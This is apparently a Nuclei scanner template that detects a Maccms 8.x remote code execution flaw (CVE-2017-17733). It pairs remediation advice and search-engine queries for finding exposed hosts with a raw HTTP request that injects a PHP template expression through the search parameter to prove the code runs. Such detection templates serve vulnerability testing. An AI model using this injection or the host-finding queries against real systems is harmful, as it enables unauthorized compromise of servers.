id: CVE-2017-17733 info: name: Maccms 8.x - Remote Code Execution author: DhiyaneshDk severity: critical description: | Maccms 8.x is vulnerable to unauthenticated remote code execution via the 'wd' (search keyword) parameter of index.php?m=vod-search (CVE-2017-17733). The MacCMS template parser compiles the {if-A:}...{endif-A} tag into PHP that evaluates , so a crafted wd value runs arbitrary PHP (and OS commands via system/exec). This template injects print(md5()) and confirms code execution when the nonce's md5 is reflected in the response. The payload is PHP-native (no shell command), so it fires on both Windows and Linux hosts. impact: | An unauthenticated remote attacker executes arbitrary PHP and OS commands as the web-server user, fully compromising the Maccms host. remediation: | Upgrade Maccms to a fixed release and disable evaluation of user-controlled template {if} expressions. Restrict access to the application. reference: - https://nvd.nist.gov/vuln/detail/CVE-2017-17733 - https://www.cvedetails.com/cve/CVE-2017-17733/ classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2017-17733 epss-score: 0.69457 epss-percentile: 0.99376 cwe-id: CWE-94 metadata: verified: true max-request: 1 shodan-query: http.html:"MacCms" fofa-query: app="maccms" tags: cve,cve2017,maccms,rce,injection,vkev variables: num: "{{rand_int(10000000, 99999999)}}" http: - raw: - | GET /index.php?m=vod-search&wd={if-A:print(md5({{num}}))}{endif-A} HTTP/1.1 Host: {{Hostname}} matchers-condition: and matchers: - type: dsl dsl: - "status_code == 200" - "contains(body, md5(num))" condition: and # digest: 4a0a00473045022100c3fe18b1a760f60cafe99828e4ae50b162af80e8ac85c29ed31aa20ac1d21c600220777f34eddfb33ff08394b870ed6054089046f492296ff747813e57a20119846a:922c64590222798bb761d5b6d8e72950